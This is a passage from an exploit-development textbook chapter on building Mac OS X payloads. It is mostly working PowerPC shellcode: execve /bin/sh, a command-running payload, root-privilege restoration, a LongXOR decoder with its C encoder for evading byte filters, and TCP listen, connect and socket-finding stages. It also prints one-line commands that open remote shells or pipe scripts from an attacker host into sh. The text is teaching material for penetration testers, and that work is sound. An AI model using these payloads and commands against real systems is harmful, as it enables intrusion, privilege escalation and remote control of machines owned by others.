loads must be careful to keep their host process running. This can be diffi cult 
in some cases, as a successful exploit may overwrite large portions of the stack 
or heap, corrupting critical runtime structures. This places certain constraints 
on exploit payloads.

  They must be written in completely position-independent code and  ■

capable of executing from whatever memory address or segment they 
are injected into.

  They often have extreme size constraints due to the exploit injection  ■

vector; they must be written as compactly as possible.

  The injection vector may place constraints on the byte values used in the  ■

instruction encoding due to potential interpretation by the vulnerable 
software; NULL bytes (and potentially others) must be avoided.

  Unless they resolve shared library functions themselves, they may be  ■

unable to use shared library functions, as they are not often found at 
fi xed locations in memory.

Many tutorials on payload construction, including the canonical “Smashing 
the Stack for Fun and Profi t,” demonstrate how to disassemble simple com-
piled programs to obtain the assembly code to construct standalone exploit 
payloads. These days, however, compilers and linkers are getting increasingly 
complicated, such that the output assembly code of even small, simple programs 
includes enough system-specifi c stub code that it obscures how simple pay-
load assembly coding actually can be. For example, the compiler’s defi nition of 
“position-independent code” differs from ours. While the compiler may assume 
that the executing code has properly defi ned memory segments and permis-
sions, you do not have that luxury and can depend on far less being constant. 
You may assume only that kernel system call numbers remain constant and that 
the runtime linker dyld is always loaded at the same memory address. Luckily, 
this makes writing assembly code much simpler. Writing exploit payloads by 
hand requires knowledge of just enough assembly to be dangerous: a minimal 
subset of the assembly language for a given architecture that includes only basic 
register and memory operations, simple fl ow control, and direct execution of 
common system calls.

We will demonstrate our various exploit payloads as a system of composable 
individual components. This payload-development style was fi rst introduced 
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by the Last Stage of Delirium (LSD) Research Group. Each component will fi rst 
be written as a standalone assembly program that can be assembled and run 
natively with the GNU tool chain (gcc, as, and ld) for PowerPC, and NASM for 
x86. This allows the developer to run the component from the command line 
and debug it using the GNU debugger (GDB). After the components have been 
tested in this fashion, they can be assembled into raw binary fi les that are more 
suitable for use in exploits.

The Metasploit Framework is one of the most popular open-source penetra-
tion-testing tools and is a tremendously useful framework for exploit devel-
opment. It integrates many existing exploits, payloads, and payload encoders 
for Windows, Linux, Solaris, and Mac OS X on PowerPC, x86, and ARM (for 
the iPhone). The authors of this book have contributed a variety of exploits, 
payloads, and techniques to this framework since its conception in 2003. The 
payloads in this chapter are available from this book’s website and are ready 
to use within the Metasploit Framework.

Before we get into the guts of specifi c exploit payloads, we need to describe 
some specifi c aspects of payload development and execution on Mac OS X.

Restoring Privileges
On UNIX, it is important to remember that a process has a real user ID and an 
effective user ID. The effective user ID governs what access the process has and 
the real user ID determines who the user really is. For example, after running a 
set-user-ID root executable, the real user ID remains the same, but the effective 
user ID is set to 0 (root), giving the process superuser privileges. To complicate 
this further, there is also the saved set-user-ID, which is set when the effective 
user ID is set to a different value. This allows processes to relinquish higher 
privileges temporarily and regain them when necessary. 

In Mac OS X Leopard, the system shell (/bin/sh, which is actually /bin/bash) 
will drop privileges if the effective user ID does not match the real user ID and 
the effective user ID is less than 100. This means that in many cases running a 
shellcode payload inside a set-user-ID root process will not actually give you a 
root shell. You can, however, restore them in many cases by calling seteuid(0) 
and then setuid(0) to set your effective and real user IDs to root.

Forking a New Process
On Mac OS X a multithreaded task cannot execute a new process unless it has 
previously called vfork(); otherwise, execve() will return the error ENOTSUP. 
Typically this is an issue only for remote and client-side exploits, because 
those targets are more commonly multithreaded than local binaries. There is a 
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complication with using vfork(), however, in local exploits. If you vfork() before 
calling a shell unnecessarily, your shell will be executed in the background and 
you won’t be able to interact with it. Since execve() checks whether the process 
is a vfork() child before it checks the rest of the arguments, you can fi rst run 
execve() with bogus arguments to determine whether you should vfork(). 

The vfork() system call is like fork(), except that the parent process is sus-
pended until the child process executes the execve() system call or exits. This 
fact facilitates the code for this component since you should know that if you 
call execve() in the parent, it will just fail again and continue to execute the 
code that follows.

#include <unistd.h>

#include <errno.h>

int main(int argc, char* argv[])

{

    if (execve(NULL, NULL, NULL) < 0 && errno == ENOTSUP)

        vfork(); 

    // Some execve()-based component must immediately follow

}

Executing a Shell
The fi rst payloads demonstrated later in this chapter will be the canonical local 
shellcode. Notice that to save payload space we take some shortcuts in this 
compared to the normal usage of execve(). Although it is nonstandard, on Mac 
OS X it is legal to pass NULL as the argument list. 

#include <unistd.h>

int main(int argc, char* argv[])

{

    char* path = “/bin/sh”;

    execve(path, NULL, NULL);

}

Similarly, we also pass in NULL for the environment pointer to give the pro-
cess an empty environment. Compile and run this program just to make sure 
that it works as expected.

% gcc -o execve_binsh execve_binsh.c
% ./execve_binsh 
bash-3.2$ exit
exit
%
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Encoders and Decoders
Be careful to avoid NULL bytes in instruction encodings for the payloads that 
are intended for use in local exploits. As many exploits take advantage of over-
fl ows in ASCII strings, a NULL byte in the payload would signal an early ter-
mination of the attack string. To avoid NULLs, use some simple tricks, such as 
subtracting a constant and right-shifting to extract the fi nal value. For payloads 
that are used in remote exploits, their size and complexity quickly makes using 
a payload decoder stub more economical in terms of payload size and develop-
ment time. 

A payload decoder stub is a small payload component that decodes the rest of 
the payload from an alternate encoding into a form that may be executed. The 
corresponding payload encoder, written in a high-level language, fi nds a suit-
able encoding for the payload that avoids undesirable byte values and prepares 
the encoded payload in the form that the decoder stub expects. Depending on 
where the vulnerability is, there may be a number of byte values that need to be 
avoided. For example, if the vulnerability is in a web server’s request parser, all 
whitespace characters may need to be avoided. Rather than rewrite the exploit 
payloads based on the byte values that are signifi cant in the application that 
you are exploiting, it is easier to employ reusable payload decoder stubs and 
encoders that transform the raw payloads to avoid these characters.

Staged Payload Execution
Many exploit injection vectors may have constraints on the size of payload that 
may be used with them. For example, the payload may need to fi t inside a net-
work protocol request or fi le format with size constraints. You do not, however, 
need to let these size constraints restrict the functionality of your payloads. To 
get around any potential size constraints of an exploit injection vector, many 
payloads are built in stages, as described by LSD and used in penetration-testing 
frameworks such as the Metasploit Framework, Immunity’s CANVAS, and Core 
Security’s CORE IMPACT. 

The main idea behind a staged payload system is that each stage prepares the 
execution environment for the next stage, allowing the next stage to execute with 
fewer constraints. For example, the fi rst stage in the exploit will typically be the 
most size- and byte-value-constrained, as it will typically be embedded within 
an arbitrary protocol or fi le format. The fi rst stage may search for a subsequent 
stage elsewhere in memory or download it over the network.
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For example, a staged payload system may do some or all of the following.

  Search for a 32-bit tag in memory and execute the memory immediately  ■

following it if it is found

  Decode the next stage in memory by XORing itself with a constant byte  ■

or 32-bit “key”

  Establish a TCP/UDP connection with the attacker and repeatedly read  ■

machine-code fragments into memory and execute them

  Repair any memory structures damaged by the exploit-injection vector  ■

(i.e., repair the heap, stack, exception handlers, etc.)

  Download a shared library over a network connection or decode it from  ■

elsewhere in memory and inject it into the running process

  Download an executable over HTTP and execute it in a new process ■

Payload Components
We have developed a set of exploit payload components for Mac OS X that dem-
onstrate many of the common techniques used by penetration-testing frame-
works such as Metasploit, CANVAS, and IMPACT. The full source code, build 
system, and Metasploit modules for all of these components can be downloaded 
from this book’s website. In the rest of this chapter we will describe the fol-
lowing components in the process of explaining how to write custom exploit 
payloads for both architectures.

execve_binsh—Call execve(NULL, “/bin/sh”, NULL) to execute a shell.

system—Execute a shell command just like the system() function does.

setuid_zero—Call seteuid(0) and setuid(0) to restore root privileges.

vfork—Determine whether vfork() is necessary; if so, call it.

decode_longxor—Decode the rest of the payload by XORing with a 32-bit 
long value.

tcp_connect—Establish a TCP connection to a remote host.

tcp_listen—Listen on a TCP socket.

dup2_std_fds—Duplicate a socket fi le descriptor to standard input, stan-
dard output, and standard error fi le descriptors.

remote_execution_loop—Repeatedly read the buffer size from the socket, 
read that many bytes into a buffer, evaluate it as machine code, and write 
the return value to the socket.

inject_bundle—Read a compiled bundle from a socket, link and load it 
into the current process, and call an exported function within it.
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PowerPC Exploit Payloads

The PowerPC uses a RISC-based instruction set and generally follows a load-
store architecture. This means most assembly instructions operate purely on 
registers as source and destination operands. Registers must be explicitly loaded 
from or stored to memory using designated load and store instructions.

The PowerPC architecture uses 32 general-purpose registers, referred to as r0 
through r31. The register r1 is used as the stack pointer by convention, r3 through 
r10 are used for passing arguments to functions and system calls, and registers 
r13 through r31 are free for arbitrary use and will be preserved across function 
and system calls. The Application Binary Interface (ABI) reserves the remain-
ing registers for special use.  There also are a few important special-purpose 
registers: lr and ctr. The link register (lr) is used to store the return address in a 
subroutine. When a function is called using the blr (branch and link register), 
the memory address of the next instruction is stored in the link register. The 
other special register, ctr, is typically used as a loop counter. There are special 
branching instructions to decrement this register and branch if the register is not 
equal to zero. It is also commonly used for register-indirect function calls.

Table 9-1 is a simple “cheat sheet” for some common PowerPC assembly 
instructions. In the table’s Format column, rD refers to a destination register, 
rS is a source register, and rA refers to an arbitrary register. SIMM refers to a 
signed immediate constant value and UIMM represents an unsigned immediate 
value. Memory references are referred to by d(rA), where d is a displacement 
from the memory address stored in register rA.

Table 9-1: PowerPC Instruction Cheat Sheet

INSTRUCTION FORMAT DESCRIPTION

li lirD, SIMM Loads immediate value into register rD

lis lis rD, SIMM Loads immediate and shift left 16 bits

ori ori rD, rA, SIMM Logical OR register rA with immediate 
into rD

mr mr rD, rS Moves register value from rS to rD

mfl r mfl r rD Moves from link register into register rD

mtctr mtctr rS Moves from register rS into ctr register

mfctr mfctr rD Moves from ctr register into register rD

addi addi rD, rA, SIMM Adds immediate and rA, stores in rD

subi subi rD, rA, SIMM Subtracts signed immediate from rA into rD

srawi srawi rA, rS, SH Shifts rS right arithmetic SH bits into rA

Continued
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INSTRUCTION FORMAT DESCRIPTION

xor xor rA, rS, rB Exclusive-ORs rS and rB into rA

sth sth rS, d(rA) Stores halfword in rS to effective address

stw stw rS, d(rA) Stores word in rS to effective address

stmw stmw rS, d(rA) Stores multiple words from rS to r31

cmplw cmplw rA, rB Compares logical register to register

cmpli cmpli rA, UIMM Compares logical register to immediate

bnel bnel target_addr Branches if not equal and links

bdnzt bdnzt target_addr Decrements ctr, branches if not zero 
and true

bdnzf bdnzf target_addr Decrements ctr, branches if not zero and 
false

sc sc Executes system call

tweq tweq rA, rB Traps if equal; “tweq r4, r4” is a breakpoint

System calls on PowerPC are issued by executing the sc (system call) instruc-
tion. The system call number is placed in r0 and arguments to the system call 
are placed in registers r3 through r10. The system call’s return value is placed 
in r3 upon returning. If the system call was successful, the instruction imme-
diately following the sc instruction is skipped. If the system call resulted in an 
error, that instruction is executed. Typically this system call error instruction 
slot is used to branch to error-handling code. While developing payloads, it is 
often best to use this slot to execute a breakpoint trap (tweq r4, r4) to facilitate 
debugging. In fi nal payloads, this slot can be used to branch to an error handler 
or code to exit cleanly.

As our fi rst example, we’ll demonstrate executing a single system call. The 
assembly code program that follows does just that. We write payloads using 
the GNU assembler included with Mac OS X by declaring global symbols with 
the .globl command and use the label _main for our entry point. This allows 
us to compile and link our assembly components by themselves or with other 
code written in C.

.globl _main

_main:

    li     r3, 13       ; exit status code

    li     r0, 1        ; SYS_exit = 1

    sc

    tweq     r4, r4     ; breakpoint if system call fails

Table 9-1 (continued)
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Now assemble it and run it to make sure it works. Use the compiler to assemble 
the code, since it will also link it to create a standalone executable that you can 
run to test the payloads.

% cc -o exit exit.s

% ./exit 

% echo $?

13

You can see that the executable returned 13, which is the value that was 
passed to the exit() system call in the assembly code. Also, the breakpoint 
instruction following the sc instruction was not executed, indicating that the 
system call was successful. Now we’ll move onto doing something more useful, 
like executing a shell.

execve_binsh
Look back at the C version of execve_binsh, listed in earlier in the section 
“Executing a Shell.” While the compiled version of the code loads the string “/
bin/sh” from the executable’s data segment, you cannot do that in an exploit 
payload. We will present two ways to get around this. The fi rst shellcode uses 
a trick to retrieve the address in memory where it is executing from and locates 
the string “/bin/sh” relative to that. The following code shows execve_binsh.s, 
a payload that does just that. 

There are a few important tricks to notice in this shellcode. The fi rst two 
instructions are a xor./bnel combo. The instruction mnemonic with the dot 
at the end instructs the processor to update the condition register. The bnel 
instruction that follows means to “branch and link if not equal/zero” and will 
not branch because the preceding instruction had a result equal to zero. The 
trick here is that even though the branch was not taken, the return address of 
the instruction following the bnel instruction is stored in the link register. The 
next address stores the value of the link register into r31. Use this trick to obtain 
the address in memory of the payload, and, subsequently, to add the offset from 
the current instruction to the beginning of the command string to calculate the 
address of the command string in memory. The other tricks involve adding 
magic-constant offsets or shifting magic constants to result in the values needed 
and avoid instruction encodings with NULL bytes in the process. You will see 
that this is commented in the shellcode.

;;; $Id: execve_binsh.s,v 1.5 2001/07/26 15:25:06 ghandi Exp $
;;; PPC Mac OS X (maybe others) shellcode
;;;
;;; Dino Dai Zovi <ghandi@mindless.com>, 20010726
;;;
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.globl _execve_binsh

.text
_execve_binsh:
    ;; Don’t branch, but do link.  This gives us the location of
    ;; our code.  Move the address into GPR 31.
    xor.     r5, r5, r5      ; r5 = NULL
    bnel     _execve_binsh
    mflr     r31

    ;; Use the magic offset constant 268 because it makes the
    ;; instruction encodings null-byte free.
    addi     r31, r31, 268+36
    addi     r3, r31, -268   ; r3 = path

    ;; Create argv[] = {path, 0} in the “red zone” on the stack
    stw      r3, -8(r1)      ; argv[0] = path
    stw      r5, -4(r1)      ; argv[1] = NULL
    subi     r4, r1, 8       ; r4 = {path, 0}

    ;; 59 = 30209 >> 9    (trick to avoid null-bytes)
    li       r30, 30209
    srawi    r0, r30, 9      ; r0 = 59
    .long    0x44ffff02      ; execve(path, argv, NULL)
path:   .asciz “/bin/sh”

The following second shellcode example uses an alternate method. Instead 
of locating itself in memory, it will create that string manually on the stack and 
pass a pointer to it to the execve() system call. The code for execve_binsh2.s is 
as follows.

.globl _main

_main:

    xor      r31, r31, r31        ; “\0\0\0\0”                                    

    lis      r30, 0x2f2f          ; “//”                                          

    addi     r30, r30, 0x7368     ; “sh”                                          

    lis      r29, 0x2f62          ; “/b”                                          

    addi     r29, r29, 0x696e     ; “in”                                          

    stmw     r29, -12(r1)         ; Write “/bin/sh” to stack                      

    subi     r3, r1, 12           ; path = “/bin//sh”                             

    mr       r4, r31              ; argv = NULL                                   

    mr       r5, r31              ; envp = NULL                                   

    li       r30, 30209           ; avoid NULL in encoding

    srawi    r0, r30, 9           ; (30209 >> 9) == 59 == SYS_execve

    .long    0x44ffff02           ; execve(“/bin//sh”, NULL, NULL)

    tweq     r4, r4               ; breakpoint trap
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The trick used here to write “/bin/sh” compactly to the stack requires some 
explanation. The PowerPC stmw (store multiple words) instruction writes con-
secutive registers, starting at the given source register, to memory at the given 
address. We used it in the preceding code to write the r29, r30, and r31 registers 
to the stack. Before doing so, we had to load those registers with values such 
that “/bin/sh” is written correctly to the stack. We did this by setting r29 to the 
value corresponding to the ASCII string “/bin”, r30 to “//sh”, and clearing r31’s 
value so that it served as the string’s NULL terminator.

We also had to use some tricks to avoid NULL bytes in the instruction encod-
ings for the payload. There will typically be problems with small constant oper-
ands. For example, using the constant 59 (the system-call number for execve) in 
the li instruction resulted in a NULL byte in the encoding. We compensate for 
this by instead loading a larger constant that, when shifted to the right 9 bits, 
equals 59. Using tricks like this, you can easily generate the result value that 
we want in a register. Finally, instead of executing the system call instruction, 
we use a hexadecimal constant 0x44ffff02. In the instruction encoding for the 
sc instruction, the middle two bytes are all unused bits. As such, they can be 
set or unset, since the processor ignores them. We set all of them to avoid those 
NULL bytes in the encoding.

Now assemble and run the assembly version of this payload.

% gcc -o execve_binsh execve_binsh.s

% ./execve_binsh 

bash-3.2$ exit

exit

% 

system
The following payload expands our previous shellcode payload a little to make 
it execute an arbitrary UNIX command, much like the standard library system() 
function. The benefi t of this is that you can change the command that it executes 
by just modifying the string at the end. Notice that the command string at the 
end includes the command “exit” and is not NULL-terminated. This is inten-
tional so that this payload may be inserted into any part of the attack string, not 
necessarily the end, as would be the case if it were required that the command 
string be NULL-terminated. Running exit as our last command tells the shell 
to exit before it tries to read the memory that follows the payload.

.globl _main

_main:

    xor      r31, r31, r31        ; “\0\0\0\0”

    lis      r30, 0x2f2f          ; “//”
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    addi     r30, r30, 0x7368     ; “sh”

    lis      r29, 0x2f62          ; “/b”

    addi     r29, r29, 0x696e     ; “in”

    xor      r28, r28, r28        ; “\0\0”

    lis      r28, 0x2d63          ; “-c”

    xor.     r27, r27, r27        ; NULL

    bnel     _main                ; Doesn’t actually branch

    mflr     r26                  ; cmd

    addi     r26, r26, 268+52     ; 52 = offset from bnel to end

    addi     r26, r26, -268       ; avoid NULL in encoding

    subi     r25, r1, 16          ; “-c”

    subi     r24, r1, 12          ; “/bin/sh”

    stmw     r24, -32(r1)         ; Write everything to stack

    subi     r3, r1, 12           ; path = “/bin//sh”

    subi     r4, r1, 32           ; argv = {“/bin//sh”, “-c”, cmd, 0}

    xor      r5, r5, r5           ; envp = NULL

    li       r30, 30209           ; avoid NULL in encoding

    srawi    r0, r30, 9           ; (30209 >> 9) == 59 == SYS_execve

    .long    0x44ffff02           ; execve(path, argv, NULL)

    tweq     r4, r4               ; breakpoint trap

cmd:

    .ascii     “/bin/sh;exit;”

There are a few of other subtle tricks that require some explanation. At lines 
10 and 11 there is an xor./bnel combo. As we did in the fi rst shellcode, we use 
this trick to obtain the memory address from which the payload is executing 
and store it in the link register. The next address stores the value of the link 
register into r26. We subsequently add the offset from the current instruction to 
the beginning of the command string to calculate the address of our command 
string in memory.

Like in the previous payload, we use the stmw instruction to write out a 
consecutive set of registers to the stack. This is a useful way to lay out val-
ues in memory when you need to calculate their values because they may be 
dynamic or to avoid NULL bytes in instruction encoding. The payload proceeds 
to execute the system shell with the argument “-c” and the command string, 
just as the system() function does.

Being able to specify an arbitrary command to execute makes this a very use-
ful and fl exible payload. You can do everything from running a shell locally, as 
the payload code as shown above does, to running an interactive shell remotely 
by connecting it via pipes to two telnet commands (“telnet attacker 1234 | sh 
| telnet attacker 1235”). If the target happens to be behind a restrictive fi re-
wall, you can even run a full shell script downloaded via HTTP (“curl http://
sh.attacker.com | sh”) or DNS (“dig sh.attacker.com txt +short | sh”).
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decode_longxor
In the previous payloads, we have used various tricks to avoid NULL bytes in 
the encoding. This is easy enough to do when you are just trying to avoid a 
single bad byte, but as the number of bytes to avoid and the payload size get 
larger, this task gets increasingly diffi cult. For local exploits where NULL is 
commonly the only byte that needs to be avoided, a decoder is rarely necessary. 
For remote exploits, however, it is easier to use a simple decoder component to 
avoid having to eliminate bad byte values manually in the assembled payload. 
We still need to avoid NULL bytes in the decoder component itself, however.

The decoder stub XORs the encoded payload with a 32-bit long value. The 
encoder will analyze the payload and choose the 32-bit value that results in an 
encoding free of undesired byte values. The XOR decoding of the payload is 
very straightforward, but the steps taken to accommodate self-modifying code 
require some explanation.

PowerPC processors often have separate instruction and data caches. 
Essentially, this means there is a separate path to memory when it is retrieved 
by the load and store instructions and when it is retrieved in the processor’s 
instruction fetch cycle. Moreover, these caches can be write-back caches, mean-
ing that a changed value of memory is written to the cache and written to RAM 
only when the cache block is expired. If data that is in the data cache is modifi ed 
and then immediately executed, the CPU will most likely decode and execute 
old values of that memory since the changed values would not yet have been 
written back to RAM from the data cache.

The way to work around this, as shown in the following code, is to fl ush the 
data-cache block to memory and invalidate the same block in the instruction 
cache. These instructions take two register arguments and invalidate the cache 
block containing the effective address obtained by adding the contents of the 
two registers together. In addition, you must wait for the cache instructions to 
synchronize before issuing the next instruction, which is why you need to use 
the sync and isync instructions. We do this sequence of operations for every 
32-bit long value that we XOR, which is often redundant since it would invali-
date the data block multiple times instead of doing it just once at the end. We 
are more concerned about stability and optimizing for code size than runtime 
performance, so the performance penalty is not an issue. After all, we are not 
doing signifi cant number crunching, but are just performing some simple XOR 
operations on a small buffer.

;;;

;;; PowerPC LongXOR exploit payload decoder component

;;;

;;; Dino Dai Zovi <ddz@theta44.org>, 20030821

;;;
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.globl _decode_longxor

_decode_longxor:

    ;; PowerPC GetPC() from LSD

    xor.     r5, r5, r5

    bnel     main

    mflr     r31

    addi     r31, r31, 72+1974     ; 72 = distance from main -> payload

                                   ; 1974 is null elliding constant

    subi     r5, r5, 1974          ; We need this for the dcbf and icbi

    lis      r6, ((KEY & 0xffff0000) >> 16)

    ori      r6, r6, (KEY & 0xffff)

    li       r4, 257+(SIZE/4+1)    ; 257+<number of words to decode>

    subi     r4, r4, 257

    mtctr    r4

L_xor_loop:     

    lwz      r4, -1974(r31)

    xor      r4, r4, r6

    stw      r4, -1974(r31)

    ;;

    ;; Do the self-modifying code song and dance

    ;;

    dcbf     r5, r31               ; Flush data cache block to memory

    .long    0x7cff04ac            ; (sync) Wait for flush to complete

    icbi     r5, r31               ; Invalidate instruction cache block

    .long    0x4cff012c            ; (isync) Toss prefetch instructions

    addi     r30, r5, 1978         ; Advance r31 to next word

    add      r31, r31, r30

    bdnz     L_xor_loop

payload:

;;; Insert LongXOR’ed payload here

Many payload encoders attempt to fi nd a suitable encoding key by evaluating 
random keys until one successfully encodes the payload without using any of 
the interpreted byte values. The example encoder, however, is deterministic and 
will fi nd a suitable 4-byte XOR-encoding key if one exists for the given input 
payload and list of interpreted characters.

The algorithm treats the input payload as one large array of 4-byte values. It 
traverses the input payload array and records which byte values are observed in 
the fi rst, second, third, and fourth positions of the 4-byte array elements. Finding 
a suitable XOR key requires fi nding a byte for each position that does not result 
in a bad byte when it is XORed with all of the observed bytes in that position. 
In the following source code for longxor_encoder.c, the relevant functions are 
calculate_key() and fi nd_xor_byte().
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/*

 * LongXOR encode an exploit payload

 *

 * Dino Dai Zovi <ddz@theta44.org>, 20030716

 */

#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#include <string.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/errno.h>

int is_bad_byte(uint8_t b, size_t bad_bytes_size, uint8_t bad_bytes[])

{

    int i;

    for (i = 0; i < bad_bytes_size; i++) {

        if (bad_bytes[i] == b)

            return 1;

    }

    return 0;

}

uint8_t

find_xor_byte(uint8_t bytes_used[256], size_t n_bad_bytes, 

              uint8_t bad_
bytes[])

{

    int i, j;

    for (i = 0; i < 256; i++) {

        uint8_t b = (uint8_t)i;    // potential XOR key byte

        

        /*

         * Key byte can’t be

         * - a bad byte (b/c key is an immediate in decoder)

         * - a byte such that its XOR with any byte used is a bad byte

         */

        if (is_bad_byte(b, n_bad_bytes, bad_bytes))

            continue;

        for (j = 0; j < 256; j++) {

            uint8_t bj = b ^ (uint8_t)j;

            

            if (bytes_used[j] &&

                is_bad_byte(bj, n_bad_bytes, bad_bytes))

                break;  // b is not suitable

        }
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        if (j == 256)

            return b;    // b works for all bytes used; it is good

    }

}

/*

 * Calculate a suitable LongXOR key for the given payload and “bad

 * bytes” byte vectors in linear time.

 */

unsigned int

calculate_key(size_t payload_size, unsigned char payload[],

              size_t bad_bytes_size, unsigned char bad_bytes[])

{

    unsigned char bytes[4][256];

    union {

        uint8_t key_bytes[4];

        uint32_t key_long;

    } key;

    int i;

    /*

     * Flag each byte that is used in each position in a given word

     */

    memset(bytes, 0, 4 * 256 * sizeof(unsigned char));

    for (i = 0; i < payload_size; i++)

        bytes[i % 4][payload[i]] = 1;

    for (i = 0; i < 4; i++)

        key.key_bytes[i] = find_xor_byte(bytes[i], bad_bytes_size, 

                                         bad_bytes);

    return key.key_long;

}

off_t get_file_size(int fd)

{

    struct stat stat_buf;

    if (fstat(fd, &stat_buf) < 0) {

        perror(“get_file_size: stat”);

        return 0;

    }

    return stat_buf.st_size;

}

int main(int argc, char* argv[])

{

    int payload_fd, encoded_payload_fd, i;

    size_t raw_payload_size, payload_size;

    unsigned char* payload;
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    size_t bad_bytes_size;

    unsigned char* bad_bytes;

    unsigned int xor_key;

    unsigned char xor_key_bytes[4];

    char* encoded_payload_filename;

    unsigned char* encoded_payload;

    

    if (argc < 2) {

        fprintf(stderr, “usage: %s <payload file> [ <bad byte> … ]\n”,

                argv[0]);

        exit(EXIT_FAILURE);

    }

    /*

     * Read payload binary file into byte array

     */

    if ((payload_fd = open(argv[1], O_RDONLY)) < 0) {

        perror(“open”);

        exit(EXIT_FAILURE);

    }

    raw_payload_size = get_file_size(payload_fd);

    payload_size = (raw_payload_size + 3) & ~3;

    payload = malloc(payload_size);

    /* pad with NOPs to multiple of 4 */

    memset(payload, 0x90, payload_size);

    /* read will result in short read, leaving padding NOPs */

    if (read(payload_fd, payload, payload_size) < 0) {

        perror(“read”);

        exit(EXIT_FAILURE);

    }

    if (close(payload_fd) < 0) {

        perror(“close”);

        /* non-fatal error */

    }

    

    /*

     * Read in list of bad bytes

     */

    bad_bytes_size = argc-2;

    if (bad_bytes_size > 0) {

        bad_bytes = malloc(bad_bytes_size);

        for (i = 2; i < argc; i++) {

            unsigned long byte = strtoul(argv[i], NULL, 0);

            if (byte > 255) {

                errno = (errno == EINVAL) ? EINVAL : ERANGE;
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                perror(“strtoul”);

                exit(EXIT_FAILURE);

            }

            bad_bytes[i-2] = byte;

        }

    }

    else {

        bad_bytes_size = 1;

        bad_bytes = malloc(1);

        bad_bytes[0] = 0x0;

    }

    

    /*

     * Calculate a suitable LongXOR key

     */

    xor_key = calculate_key(payload_size, payload, bad_bytes_size,

                            bad_bytes);

    memcpy(xor_key_bytes, &xor_key, sizeof(xor_key_bytes));

    printf(“0x%.8x\n”, xor_key);

    

    /*

     * Encode payload with given key

     */

    encoded_payload = malloc(payload_size);

    for (i = 0; i < payload_size; i++)

        encoded_payload[i] = payload[i] ^ xor_key_bytes[i % 4];

    i = strlen(argv[1]) + 4 + 1;

    encoded_payload_filename = malloc(i);

    snprintf(encoded_payload_filename, i, “%s.xor”, argv[1]);

    

    if ((encoded_payload_fd = open(encoded_payload_filename,

                                   O_WRONLY|O_CREAT|O_TRUNC, 0644)) < 0) 

{

        perror(“open”);

        exit(EXIT_FAILURE);

    }

    if (write(encoded_payload_fd, encoded_payload, payload_size) < 0) {

        perror(“write”);

        exit(EXIT_FAILURE);

    }

    return 0;

}
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tcp_listen
The fi rst networking component is a simple one to listen on a TCP socket and 
accept the fi rst incoming connection. At this point the payload components 
will not attempt to eliminate NULL bytes in the encoding and will instead be 
optimized only for payload size. It is assumed that either the payloads will be 
delivered over an 8-bit clean protocol or fi le format or that the aforementioned 
decoder component will be used before them to eliminate any undesirable byte 
values from them.

After the accept() system call returns and the payload has received the fi rst 
connection, it moves the client socket’s fi le descriptor into the ctr register. Since 
we are developing your functionality in independent components, we need to 
establish some conventions so that different components can share data. In all 
of the socket-establishing components, we leave a socket fi le descriptor in the 
ctr register for later components to fi nd and use.

;;;

;;; tcp_listen - Create a listening TCP socket.  The default port 2001

;;;     can be overwritten dynamically.

;;;

.globl _main

_main:

    ;; Pack struct sockaddr_in at -16(r1)

    li      r29, 0x1002

    sth     r29, -16+0(r1)  ; sin_len = 16, sin_family = AF_INET (2)

    li      r30, 0x07d1

    sth     r30, -16+2(r1)  ; sin_port = 2001 

    xor     r0, r1, r1

    stw     r0, -16+4(r1)   ; sin_addr = INADDR_ANY (0)

    li      r3, 2           ; AF_INET

    li      r4, 1           ; SOCK_STREAM

    li      r5, 0           ; IPPROT_IP

    li      r0, 97          ; SYS_socket

    sc                      ; s = socket(AF_INET, SOCK_STREAM, IP)

    tweq    r4, r4

    mtctr   r3

    ;; ctr = s (listening socket file descriptor)

    subi    r4, r1, 16 

    li      r5, 16

    li      r0, 104         ; SYS_bind

    sc                      ; bind(s, &sa, sa_len)

    tweq    r4, r4
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    mfctr   r3

    li      r4, 1

    li      r0, 106         ; SYS_listen

    sc                      ; listen(s, 1)

    tweq    r4, r4

    mfctr   r3

    subi    r4, r1, 92

    subi    r5, r1, 16

    li      r0, 30          ; SYS_accept

    sc                      ; c = accept(s, &sa, &sa_len)

    tweq    r4, r4

    mtctr   r3     

    ;; Connected socket is in ctr register

tcp_connect 
The tcp_connect component simply establishes a TCP connection to a remote 
host and port. This code is somewhat smaller than the tcp_listen code and 
establishing an outbound TCP connection is more likely to work when there is 
a fi rewall between you and the target. The code that follows makes a TCP con-
nection to 127.0.0.1:2001; however, these values can easily be overwritten when 
the complete exploit payload is constructed.

;;;

;;; Connect a TCP socket

;;;

.globl _main

_main:

    ;; Pack struct sockaddr_in at -16(r1)

    li     r29, 0x1002

    sth    r29, -16+0(r1)     ; sin_len = 16, sin_family = AF_INET (2)

    li     r30, 0x07d1

    sth    r30, -16+2(r1)     ; sin_port = 2001 

    xor    r31, r31, r31

    lis    r31, 0x7f00

    addi   r31, r31, 1

    stw    r31, -16+4(r1)     ; sin_addr = INADDR_LOOPBACK 

    li     r3, 2              ; AF_INET

    li     r4, 1              ; SOCK_STREAM

    li     r5, 0              ; IPPROTO_IP

    li     r0, 97             ; SYS_socket

    sc                        ; s = socket(AF_INET, SOCK_STREAM, IP)

    tweq   r4, r4
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    subi   r4, r1, 16 

    li     r5, 16

    li     r0, 98

    sc                        ; connect(s, &sa, sa_len)

    tweq   r4, r4

    mtctr  r3     

    ;; Connected socket is in ctr register

tcp_fi nd
Sometimes a highly restrictive fi rewall will have both ingress and egress fi l-
tering, not allowing any additional connections in or out. Our tcp_listen and 
tcp_connect payloads will not work in those situations. Nevertheless, you must 
have reached the remote machine that you are exploiting over some network 
connection to deliver the exploit. This payload examines all possible fi le descrip-
tors, peeks at available data on any valid socket, and checks whether the four 
bytes that it read are the magic “key” that identifi es it as the attacker’s connec-
tion to the target.

Mac OS X’s maximum fi le-descriptor value is 1,023. This payload iterates 
through the range of possible fi le-descriptor values and perform a non-blocking 
“peek” recvfrom on each. The MSG_PEEK fl ag indicates that any read data 
should not be taken from the socket; it should also be returned in any subse-
quent reads. The goal is to not disturb any other sockets or fi les that the process 
may have open. If the payload has found a valid socket, it compares the data 
read from it to the magic “key” value, looking for a match. The key value can 
be anything that another network connection is not likely to send. Once it has 
found a match, it really reads the data from the socket so that a subsequent 
payload component is not confused by it.

;;;

;;; tcp_find - Peek on each file descriptor looking for a magic “key” 

;;;     to find our connected socket.

;;; 

.globl _payload

_payload:     

    .set      KEY, 0x5858580a     

findsock:

    addis     r27, 0, hi16(KEY)

    ori       r27, r27, lo16(KEY)

    xor       r31, r31, r31

